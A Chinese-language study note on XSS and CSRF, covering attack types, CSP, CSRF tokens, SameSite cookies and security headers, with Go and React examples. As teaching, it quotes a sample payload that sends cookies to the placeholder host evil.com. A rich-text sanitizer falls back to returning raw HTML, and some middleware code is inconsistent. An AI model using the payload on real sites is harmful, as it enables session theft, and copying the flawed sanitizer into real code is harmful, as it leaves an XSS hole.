Files
cs-note/hhs/DEV/XSS与CSRF攻击/XSS与CSRF攻击.md
T

837 lines
28 KiB
Markdown
Raw Normal View History

2026-05-24 11:42:38 +08:00
---
tags: ["XSS", "CSRF", "Web Security", "OWASP", "CSP", "Security Header", "Content-Security-Policy", "Cross-Site Request Forgery"]
create time: 2026-05-18 10:30
---
# XSS 与 CSRF 攻击
## 概述
本文档系统梳理 Web 应用中最常见的两种客户端侧安全威胁——**跨站脚本攻击(XSS)**与**跨站请求伪造(CSRF)**。从攻击原理、分类场景到防御策略,结合 Go 后端和 React/TypeScript 前端的完整代码示例,帮助你在设计阶段就「把安全做进去」而非事后补漏。
> [!question] 思考题
> XSS 让你失去的是**用户的数据控制权**,CSRF 让你失去的是**用户的身份冒用权**。一个攻击注入恶意脚本,另一个则是伪装成合法请求。看似都与"前端"有关——它们根本区别在哪里?带着这个问题开始阅读。
---
## 一、XSS(跨站脚本攻击)
### 1.1 什么是 XSS?
XSS(Cross-Site Scripting)的本质是:**攻击者在目标网站中注入恶意 JavaScript 代码,当其他用户浏览该页面时,代码在其浏览器上下文中执行**。由于 JavaScript 在原始页面的同源策略下运行,它可以直接读取 Cookie、DOM、甚至以受害者身份发起 API 请求。
```mermaid
graph LR
A["攻击者注入<br/>恶意脚本"] --> B["服务端存储<br/>或反射回页面"]
B --> C["受害者浏览器<br/>解析并执行"]
C --> D["Cookie 被盗<br/>会话劫持 / 行为篡改"]
style A fill:#ffebee
style D fill:#b71c1c,color:#fff
```
> [!warning] 为什么叫 XSS 而不是 XS S?
> 为了避免与 Cascading Style Sheets(CSS)混淆,业界统一简写为 **XSS**(Cross-Site Scripting)。
### 1.2 XSS 三大类型
| 类型 | 注入方式 | 持久性 | 危险等级 |
|------|---------|--------|---------|
| **Stored(存储型)** | 提交到数据库(评论、个人资料),所有访问者受害 | ★★★★★ 持久 | 🔴 极高 |
| **Reflected(反射型)** | URL 参数嵌入返回页面,需诱导点击 | ★★★☆ 单次 | 🟠 高 |
| **DOM-based(基于 DOM)** | 纯前端 JS 将不可信数据写入 DOM | ★★★☆ 无服务器痕迹 | 🟡 中 |
#### 1.2.1 Stored XSS — 最致命
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
```go
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
func SaveComment(db *sql.DB, userID int, content string) error {
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
// 纯文本场景:直接存原始内容
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
```
#### 1.2.2 Reflected XSS — 钓鱼利器
攻击者构造恶意链接,诱骗受害者点击。恶意脚本随 URL 参数被服务端读取后反射回 HTML 响应中。
```mermaid
graph LR
normal["正常链接: /search?q=hello"] --> |"安全参数"| browser["浏览器安全渲染"]
evil["恶意链接: q=inject_script()"] --> |"服务端原样返回"| exec["浏览器执行脚本 → XSS"]
style normal fill:#e8f5e9
style browser fill:#e8f5e9
style evil fill:#ffebee
style exec fill:#b71c1c,color:#fff
```
```typescript
// ❌ React 中 dangerouslySetInnerHTML 使用不当可导致 Reflect XSS
function SearchResults({ query }: { query: string }) {
return (
<div dangerouslySetInnerHTML={{ __html: `结果包含: ${query}` }} />
);
}
// ✅ 正确做法 — 让 React 自动处理转义
function SearchResultsSafe({ query }: { query: string }) {
return <div>结果包含: {query}</div>; // React 自动 escape HTML entities
}
```
> [!note] React 的安全模型
> React 默认对所有 JSX 表达式进行 HTML entity 转义(`&lt;`、`&gt;`、`&amp;`)。只有在显式使用 `dangerouslySetInnerHTML` 时才绕过防护——这是反射型 XSS 最常见的泄漏点。
#### 1.2.3 DOM-based XSS — 纯前端陷阱
攻击不涉及服务端,而是前端 JavaScript 将不可信数据写入 DOM。因为服务端日志看不到恶意 payload,这种类型更难排查。
```typescript
// ❌ DOM-based XSS — 将 hash 直接写入页面
function renderFromHash() {
const hash = window.location.hash.slice(1); // #<img src=x onerror=alert(1)>
document.getElementById("output").innerHTML = decodeURIComponent(hash);
}
// ✅ 正确做法 — 使用 textContent 而非 innerHTML
function renderFromHashSafe() {
const hash = window.location.hash.slice(1);
document.getElementById("output").textContent = decodeURIComponent(hash);
}
```
| DOM 写入方法 | 安全性 | 说明 |
|-------------|--------|------|
| `element.textContent` | ✅ 安全 | 纯文本,不会解析 HTML |
| `element.innerText` | ✅ 安全 | 同 textContent |
| `element.innerHTML` | ⚠️ 危险 | 解析 HTML 标签,可能执行脚本 |
| `element.outerHTML` | ⚠️ 危险 | 同上 |
| `element.insertAdjacentHTML()` | ⚠️ 危险 | 同上 |
| `document.write()` | ⚠️ 危险 | 直接写入文档流 |
### 1.3 CSP(Content Security Policy)深度解析
CSP 是目前防御 XSS 最有效的手段之一。它通过 HTTP 响应头告诉浏览器:哪些脚本来源是可信的,哪些操作是被禁止的。
```
HTTP Response Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
```
```mermaid
graph TD
A[浏览器加载页面] --> B{遇到 script 标签}
B -->|"src='self'"| C["✅ 允许执行"]
B -->|"src='https://evil.com/hack.js'"| D["❌ 被 CSP 拦截"]
B -->|"inline script no nonce"| E["❌ 被 CSP 拦截"]
B -->|"src=https://cdn.trusted.com"| F["✅ 白名单匹配,允许"]
D --> G["console 报错 + 阻止执行"]
E --> G
style C fill:#e8f5e9
style D fill:#ffebee,color:#333
style E fill:#ffebee,color:#333
style F fill:#e8f5e9
style G fill:#fff3e0
```
#### CSP 关键指令速查
| 指令 | 作用 | 推荐值 |
|------|------|--------|
| `default-src` | 兜底策略(所有资源类型) | `'self'` |
| `script-src` | 允许的脚本来源 | `'self'` + 必要 CDN |
| `style-src` | 允许的样式来源 | `'self' 'unsafe-inline'`(部分框架需要 inline style) |
| `img-src` | 允许的图片来源 | `'self' data: cdn.xxx` |
| `font-src` | 字体来源 | `'self' fonts.gstatic.com` |
| `connect-src` | AJAX/WebSocket/fetch 目标 | `'self' api.example.com` |
| `frame-ancestors` | 允许嵌入本页面的来源 | `'none'`(防 clickjacking) |
| `object-src` | `<object>`, `<embed>` | `'none'`(已废弃但建议声明) |
| `base-uri` | `<base>` 标签的 allowed origin | `'self'` |
| `form-action` | `<form>` 可提交的 target | `'self'` |
#### Nonce-based CSP 方案
对于必须使用 inline script 的场景(如 SSR 框架、内联事件处理器),Nonce 是标准方案:
```go
package security
import (
"crypto/rand"
"encoding/base64"
"net/http"
)
// CSPMiddleware 自动生成随机 nonce 并注入 CSP header
func CSPMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 每次请求生成 32 字节随机 nonce
b := make([]byte, 32)
rand.Read(b)
nonce := base64.StdEncoding.EncodeToString(b)
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self' 'nonce-"+nonce+"' 'strict-dynamic'; "+
"style-src 'self' 'nonce-"+nonce+"'; "+
"object-src 'none'; "+
"base-uri 'self'; "+
"frame-ancestors 'none'",
)
// 将 nonce 传递给模板(具体实现依赖你的模板引擎)
r.Header.Set("X-CSP-Nonce", nonce)
next.ServeHTTP(w, r)
})
}
```
```html
<!-- 模板中使用 nonce -->
<script nonce="RANDOM_NONCE_VALUE_HERE">
// 此 inline script 被 CSP 放行
app.init();
</script>
```
> [!tip] strict-dynamic 的威力
> 使用 `strict-dynamic` 后,被 nonce 放行的脚本所动态加载的脚本也会被信任。这意味着你不再需要在 `script-src` 中添加大量 `https://` 域名——通过入口脚本的信任链传播即可。
### 1.4 输入验证与输出编码
虽然 CSP 是第一道防线,但纵深防御原则要求我们同时在多个层面防护。
```go
package validation
import (
"net/url"
"regexp"
"strings"
)
// SanitizeHTML 移除所有 HTML 标签(适用于纯文本输入场景)
func SanitizeHTML(input string) string {
return regexp.MustCompile(`<[^>]*>`).ReplaceAllString(input, "")
}
// ValidateURL 校验 URL 格式,防止 protocol-relative XSS
func ValidateURL(rawURL string) bool {
parsed, err := url.Parse(rawURL)
if err != nil {
return false
}
// 只允许 http 和 https 协议,拒绝 javascript: 和 data: 伪协议
validSchemes := map[string]bool{"http": true, "https": true}
return validSchemes[parsed.Scheme] && len(parsed.Host) > 0
}
// TruncateHTML 在 HTML 内部截断字符串(防 buffer overflow 型 XSS)
func TruncateHTML(htmlStr string, maxLen int) string {
cleaned := SanitizeHTML(htmlStr)
if len(cleaned) <= maxLen {
return cleaned
}
// 避免在标签中间截断
for i := maxLen; i > maxLen-50 && i >= 0; i-- {
if cleaned[i] == ' ' || cleaned[i] == '>' {
return cleaned[:i]
}
}
return cleaned[:maxLen]
}
```
> [!example] 为什么输入验证不能替代输出编码?
> - 输入验证假设你能穷举所有合法输入——但实际中字段经常复用(昵称既能输文字也能输 URL)
> - 输出编码确保**无论数据来源何处**,在渲染时都被正确转义
> - 最佳实践:**验证输入格式 + 编码输出内容**两层齐发
### 1.5 前端防护清单
```typescript
// ✅ React 安全编程守则
// 1. 永远不要直接使用 dangerouslySetInnerHTML
// 如果必须有富文本需求,使用成熟的 sanitizer 库
import DOMPurify from 'dompurify';
function RichText({ content }: { content: string }) {
const cleanHTML = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}
// 2. 对外部重定向做白名单校验
const TRUSTED_DOMAINS = ['example.com', 'app.example.com'];
function SafeRedirect(url: string) {
try {
const parsed = new URL(url, window.location.origin);
if (!TRUSTED_DOMAINS.includes(parsed.hostname)) {
throw new Error('Untrusted redirect destination');
}
window.location.href = url;
} catch {
// 忽略无效 URL
}
}
// 3. 避免 eval() 和 Function() 构造函数
// 两者都能执行任意代码,且绕过 CSP nonce 机制
```
---
## 二、CSRF(跨站请求伪造)
### 2.1 什么是 CSRF?
CSRF(Cross-Site Request Forgery)的本质是:**攻击者诱导已登录的用户浏览器,向目标网站发送未经用户授权的请求**。关键在于——浏览器会自动携带该域下的 Cookie,服务器无法区分请求是用户自愿发出的还是被伪造的。
> [!quote] 核心洞察
> CSRF 利用的不是技术漏洞,而是浏览器的一个"善意特性":**Cookie 会自动附带在同源请求中**。攻击者不需要窃取 Cookie,只需要控制请求的*目的地*和*内容*。
```mermaid
sequenceDiagram
participant U as 用户浏览器(已登录 bank.com)
participant A as 攻击站点
participant B as 银行 server (bank.com)
Note over U,B: 场景:用户在银行网站保持登录状态
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
Note over U: 浏览器自动带上 bank.com 的 Cookie
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
B->>B: 3. 校验 Session ✓ → 执行转账
B->>U: 4. 返回成功
Note over A,U: 用户毫无感知,钱已被转走
```
> [!question] 既然浏览器有同源策略(Same-Origin Policy),为什么攻击者能跨站发请求?
> 答案是:**并非所有 HTML 元素都受 SOP 保护**。`<img>`、`<iframe>`、`<form method="POST">` 都可以跨域发起请求——它们属于"非 read-only 资源",浏览器出于历史原因一直允许这些行为以确保网页兼容性。
### 2.2 CSRF vs XSS:容易被混淆的区别
```mermaid
graph LR
subgraph XSS["XSS — 跨站脚本"]
direction TB
A1["注入: 恶意脚本"]
A2["目标: 用户浏览器"]
A3["窃取: Cookie / 数据 / DOM"]
A4["本质: 代码执行"]
A5["防御: CSP + 输出编码"]
end
subgraph CSRF["CSRF — 跨站请求伪造"]
direction TB
B1["注入: 伪造的请求"]
B2["目标: 服务端"]
B3["利用: 已认证用户的 Cookie"]
B4["本质: 身份冒用"]
B5["防御: SameSite + CSRF Token"]
end
style XSS fill:#fff3e0
style CSRF fill:#e3f2fd
style A5 fill:#c8e6c9
style B5 fill:#c8e6c9
```
| 维度 | XSS | CSRF |
|------|-----|------|
| **攻击媒介** | JavaScript 代码 | HTTP 请求(表单/图片等) |
| **攻击目标** | 用户浏览器 | 目标网站的服务器 |
| **是否需要 Cookie** | 是(用于窃取或冒充) | 是(浏览器自动携带) |
| **破坏力** | 全面接管用户会话 | 仅限登录态下的操作 |
| **是否依赖登录** | 否(只要页面渲染就行) | 是(用户必须先登录目标站) |
| **防御重心** | 内容层(CSP、编码) | 请求层(Token、Header 校验) |
### 2.3 CSRF 防御三大利器
#### 第一层:SameSite Cookie 属性(首选方案)
```go
// Go 设置 SameSite Cookie
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionValue,
Path: "/",
HttpOnly: true, // 防 XSS 读取
Secure: true, // 仅 HTTPS
SameSite: http.SameSiteStrictMode, // 👈 关键:防止跨站发送 Cookie
})
```
| SameSite 值 | 行为 | 适用场景 |
|-------------|------|---------|
| `Strict` | 所有跨站请求不发送 Cookie | 大多数单页应用 |
| `Lax` | GET 跨站可发送(点击链接),POST 跨站不发送 | 兼顾 UX 与安全(Chrome 默认) |
| `None` | 任何情况都发送 | 必须与 `Secure=true` 配合 |
> [!tip] Chrome 的演进
> 自 Chrome 80 (2020) 起,SameSite 默认值为 `Lax`。这是一个重大变化——以前很多没有 CSRF 防护的应用反而获得了隐性保护。
#### 第二层:CSRF Token(传统但可靠)
核心思路:在每个表单和 AJAX 请求中携带一个服务端生成的随机 token,服务端校验合法性。
```mermaid
sequenceDiagram
participant FE as 前端应用
participant SRV as 后端服务器
participant Attacker as 攻击者
Note over FE,SRV: 正常流程
FE->>SRV: GET /page (页面加载)
SRV->>SRV: 生成 csrf_token = random(256bit)
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
FE->>FE: Token 存入内存(或 cookie)
FE->>SRV: POST /transfer _csrf=token_xxx
SRV->>SRV: 比对 token ✓
SRV->>FE: 200 OK
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
Attacker->>SRV: POST /transfer (无 token)
SRV->>SRV: 比对失败 ✗
SRV->>Attacker: 403 Forbidden
```
```go
package csrf
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"net/http"
"sync"
)
type CSRFHandler struct {
tokens sync.Map // userSessionID -> token
}
func NewCSRFHandler() *CSRFHandler {
return &CSRFHandler{}
}
func generateToken() string {
b := make([]byte, 32)
rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}
// GetCSRFToken 为当前会话获取/创建 CSRF token
func (h *CSRFHandler) GetCSRFToken(sessionID string) string {
token, ok := h.tokens.Load(sessionID)
if !ok {
token = generateToken()
h.tokens.Store(sessionID, token)
}
return token.(string)
}
// Validate 校验请求中的 CSRF token
func (h *CSRFHandler) Validate(r *http.Request, sessionID string) bool {
var requestToken string
// 优先从 body/form 读取
requestToken = r.FormValue("_csrf")
if requestToken == "" {
// 其次从自定义 Header 读取(AJAX/XHR 常用)
requestToken = r.Header.Get("X-CSRF-Token")
}
if requestToken == "" {
return false
}
storedToken, ok := h.tokens.Load(sessionID)
if !ok {
return false
}
return hmacCompare(requestToken, storedToken.(string))
}
// constant-time comparison, 防 timing attack
func hmacCompare(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
```
```typescript
// 前端:React 中自动注入 CSRF Token
const CSRFInterceptor = (service: AxiosInstance) => {
// 从隐藏字段或 Cookie 读取 token
function getCSRFToken(): string {
const meta = document.querySelector<HTMLInputElement>('meta[name="csrf-token"]');
if (meta?.content) return meta.content;
// fallback: 从 cookie 读取
const match = document.cookie.match(/_csrf=([^;]+)/);
return match?.[1] ?? '';
}
service.interceptors.request.use((config) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
config.headers['X-CSRF-Token'] = getCSRFToken();
}
return config;
});
};
// 在 axios 实例初始化时使用
CSRFInterceptor(axiosInstance);
```
#### 第三层:Custom Header + 双重检查(现代 SPA 方案)
对于前后端完全分离的架构,推荐同时使用 SameSite Cookie 和 X-CSRF-Token Header:
```go
// Middleware: 对非安全方法做双重校验
func CSRFProtection(h *CSRFHandler) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// GET/HEAD/OPTIONS 不需要校验(幂等操作)
if isSafeMethod(r.Method) {
next.ServeHTTP(w, r)
return
}
sessionID, _ := getSessionID(r) // 从 Cookie 中提取
if !h.Validate(r, sessionID) {
http.Error(w, "CSRF token invalid", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
}
func isSafeMethod(method string) bool {
return method == "GET" || method == "HEAD" || method == "OPTIONS"
}
```
> [!tip] 为什么 Custom Header 能防 CSRF?
> 浏览器的 SOP 对 headers 也有保护:跨站的 JavaScript **无法设置自定义 Header**(只有 `Accept`、`Content-Type` 等简单头部可以)。所以当攻击者用 `<form>` 或 `<img>` 伪造请求时,`X-CSRF-Token` 头部不会被携带——而浏览器也不会自动添加它。这就是同源策略在 header 层面的天然保护。
### 2.4 特殊场景:JSON API 与 CSRF
JSON API 本身天然免疫部分 CSRF 攻击,因为浏览器的 SOP 会阻止跨域的 `application/json` 跨站读取响应。但仍需注意——虽然**无法读取响应**,但**请求仍然会被发出**。对于修改类操作(POST/PUT/DELETE),仍建议加防护。
> [!question] 思考题
> 跨站 `<img>` 标签可以发起 GET 请求但看不到响应——那 PUT 或 POST 呢?`<form method="POST">` 和 XHR 有什么区别?
```typescript
// SPA 典型认证模式对比
// ❌ Cookie 认证 — 浏览器自动携带 Cookie → 需要 CSRF Token
// 即使 Content-Type 是 application/json,攻击者用 <form> 仍可发送
const res = await fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
}); // 带 Cookie → 服务端需校验 CSRF Token
// ✅ Bearer Token 认证 — 必须手动设置 Authorization Header
// 跨站页面无法设置自定义 Header(SOP 保护)→ CSRF 天然免疫
fetch('/api/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer eyJhbGc...', // ← 跨站 JS 无法设置此 header
'Content-Type': 'application/json',
},
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
});
```
| Content-Type | 能否跨站提交 | 是否天然防 CSRF | 备注 |
|-------------|------------|---------------|------|
| `application/json` | ❌ 浏览器禁止跨站设置此 header | ✅ (但预检请求 OPTIONS 可暴露信息) | SPA 推荐方案之一 |
| `Authorization: Bearer` | ❌ 自定义 Header 受 SOP 限制 | ✅ | **最佳实践** |
| `application/x-www-form-urlencoded` | ✅ HTML form 默认 | ❌ 必须 CSRF Token | 服务端渲染页面 |
| `multipart/form-data` | ✅ HTML form 支持 | ❌ 必须 CSRF Token | 文件上传场景 |
---
## 三、综合防御策略
### 3.1 纵深防御架构图
```mermaid
graph TB
subgraph Layer1["第 1 层:请求入口"]
A1["HTTPS 强制"]
A2["Rate Limiting"]
A3["CORS 策略"]
end
subgraph Layer2["第 2 层:身份与请求完整性"]
B1["HttpOnly + Secure Cookie"]
B2["SameSite=Strict/Lax"]
B3["CSRF Token 校验"]
end
subgraph Layer3["第 3 层:内容与渲染"]
C1["输入验证 / Sanitization"]
C2["输出 HTML 编码"]
C3["CSP Header"]
end
subgraph Layer4["第 4 层:运行时"]
D1["子资源完整性 (SRI)"]
D2["X-Frame-Options"]
D3["X-Content-Type-Options: nosniff"]
end
Layer1 --> Layer2
Layer2 --> Layer3
Layer3 --> Layer4
style A1 fill:#e3f2fd
style B2 fill:#fff3e0
style C3 fill:#e8f5e9
style D2 fill:#fce4ec
```
### 3.2 关键 HTTP 安全响应头
```
# CSP — 防止 XSS 脚本注入
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; object-src 'none'; frame-ancestors 'none'
# X-Frame-Options — 防止 Clickjacking(嵌套 iframe)
X-Frame-Options: DENY
# 或更灵活的替代(与 CSP frame-ancestors 二选一即可)
Content-Security-Policy: frame-ancestors 'none'
# X-Content-Type-Options — 禁止 MIME type sniffing
X-Content-Type-Options: nosniff
# X-XSS-Protection — 老旧浏览器的 XSS filter(已废弃,但无害)
X-XSS-Protection: 0 # 设为 0 表示禁用(由 CSP 接管更好)
# Referrer-Policy — 控制 Referer 头泄露程度
Referrer-Policy: strict-origin-when-cross-origin
# Permissions-Policy — 限制浏览器功能访问
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
```
```go
// Go 一次性设置所有安全头
func SecurityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Frame-Options", "DENY")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
next.ServeHTTP(w, r)
})
}
```
### 3.3 XSS 与 CSRF 的组合攻击
现实中,XSS 和 CSRF 常组合出现——如果有 XSS 漏洞,CSRF 防御基本形同虚设:
```mermaid
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者(管理员)
participant Server as 目标服务器
Note over Attacker,Server: 组合攻击链: XSS → Cookie 窃取 → CSRF 全权控制
Attacker->>Victim: 1. 注入含恶意脚本的可编辑字段
Victim->>Server: 2. 浏览页面 → XSS 脚本执行
alt 读取敏感数据
Victim->>Victim: Cookie / localStorage 被窃取
Victim->>Attacker: 3a. 数据发送至攻击者服务器
else 发起 CSRF 请求
Victim->>Server: 3b. 以管理员身份发送任意请求(已在同源上下文,CSRF Token 无效)
Server->>Victim: 4. 操作被执行 — 完全控制
end
Note right of Server: 结论: 只要有 XSS,<br />CSRF 防御就会被 bypass
```
---
## 四、端到端实战
### 4.1 完整安全中间件栈(Go)
```go
package middleware
import (
"github.com/gin-gonic/gin"
)
// SecurityStack 将所有安全中间件打包为一个函数列表
// 推荐用法:router.Use(SecurityHeaders(), CSPMiddleware(), CSRFProtection(handler))
func SecurityStack() []gin.HandlerFunc {
return []gin.HandlerFunc{
SecurityHeaders(),
CSPMiddleware(),
}
}
// 实际注册示例
// func SetupRouter() *gin.Engine {
// r := gin.Default()
// csrfHandler := csrf.NewCSRFHandler()
// for _, m := range SecurityStack() {
// r.Use(m)
// }
// r.Use(CSRFProtection(csrfHandler)) // 对写操作加 CSRF 校验
// // ...路由定义
// }
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Frame-Options", "DENY")
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
c.Header("Permissions-Policy", "camera=(), microphone=()")
// HSTS — 强制浏览器后续请求都用 HTTPS
c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
c.Next()
}
}
```
### 4.2 前端安全模块(React + TypeScript)
```typescript
// frontend/src/security.ts
export class SecurityManager {
private static instance: SecurityManager;
static getInstance(): SecurityManager {
if (!SecurityManager.instance) {
SecurityManager.instance = new SecurityManager();
}
return SecurityManager.instance;
}
/** 获取 CSRF Token */
getCSRFToken(): string {
const meta = document.querySelector<HTMLMetaElement>('meta[name="csrf-token"]');
return meta?.content ?? '';
}
/** 安全地渲染富文本 */
sanitizeRichText(html: string): string {
// 使用 dompurify(需在项目中安装)
const DOMPurify = window.DOMPurify as any; // SSR 场景可通过全局注入
if (DOMPurify) {
return DOMPurify.sanitize(html, {
ADD_ATTR: ['aria-label'],
ALLOW_DATA_ATTR: false,
});
}
return html; // fallback: sanitizer 不可用时直接返回原文
}
/** 清理 URL 重定向目标 */
validateRedirectUrl(url: string): boolean {
try {
const parsed = new URL(url);
const trusted = new Set(['yourdomain.com', 'app.yourdomain.com']);
return trusted.has(parsed.hostname);
} catch {
return false;
}
}
}
```
---
## 五、OWASP Top 10 位置与总结
在 OWASP Top 10 中,这两种攻击的定位如下:
| 攻击类型 | OWASP Top 10 2024 分类 | 说明 |
|---------|----------------------|------|
| **XSS** | **A03:2024 — Injection** | DOM-based XSS 虽不经过服务端,但仍属于注入范畴 |
| **CSRF** | 未独立列项 | CSRF 模式归入 **A01:2024 — Broken Access Control** |
> [!note] 为什么 CSRF 不再单列?
> OWASP 认为 CSRF 本质上是访问控制失效的一种表现——服务器未能正确验证请求是否为用户自愿发出。现代浏览器默认提供的 SameSite Cookie 机制已经大幅降低了 CSRF 的威胁面。
### 5.1 一句话总结
> **XSS 的核心是「不信任何输入」** —— 在输出编码时做一次,CSP 再兜底一次;**CSRF 的核心是「不信任何请求」** —— SameSite 打底,CSRF Token 二次确认。
### 5.2 快速对照表
```mermaid
quadrantChart
title "XSS vs CSRF 对比矩阵"
x-axis "易防护" --> "难防护"
y-axis "高频率" --> "低频率"
"XSS(存储型)": [0.3, 0.8]
"XSS(反射型)": [0.5, 0.9]
"CSRF(传统表单)": [0.2, 0.95]
"DOM-based XSS": [0.7, 0.85]
"CSRF(JSON API)": [0.15, 0.7]
```
---
## 安全最佳实践清单
> [!checklist] XSS 防御 Checklist
> - [ ] 部署 **CSP header**(至少 `default-src 'self'`,逐步收紧)
> - [ ] 后端输出 HTML 时做 **实体编码**(`<` → `&lt;`,`>` → `&gt;`,`"` → `&quot;`)
> - [ ] 前端避免 `dangerouslySetInnerHTML` / `innerHTML` / `eval()`
> - [ ] 富文本场景使用 **sanitizer 库**(DOMPurify / bleach)
> - [ ] 所有用户上传的内容视为 **潜在 payload**
> - [ ] 设置 `document.domain` 谨慎(会降低同源保护)
> [!checklist] CSRF 防御 Checklist
> - [ ] 所有 Cookie 设置 **SameSite=Strict 或 Lax**
> - [ ] 敏感操作(POST/PUT/DELETE)校验 **CSRF Token**
> - [ ] CSRF Token 使用 **密码学安全的随机数**(crypto/rand)
> - [ ] Token 比较使用 **constant-time** 算法
> - [ ] Session Cookie 设置 **HttpOnly + Secure**
> - [ ] 使用 **stateless token**(存入 JWT claims 而非内存)以适配分布式部署
> - [ ] **双 Submit Cookie** 方案可作为轻量替代(token 同时存在 Cookie 和 Form Field 中)
---
## 关联笔记
- [[OAuth2-and-MFA]]
- [[hhs/DEV/Security/Basics/RSA-and-ECC]]
- [[hhs/DEV/Security/JWT-Deep-Dive]]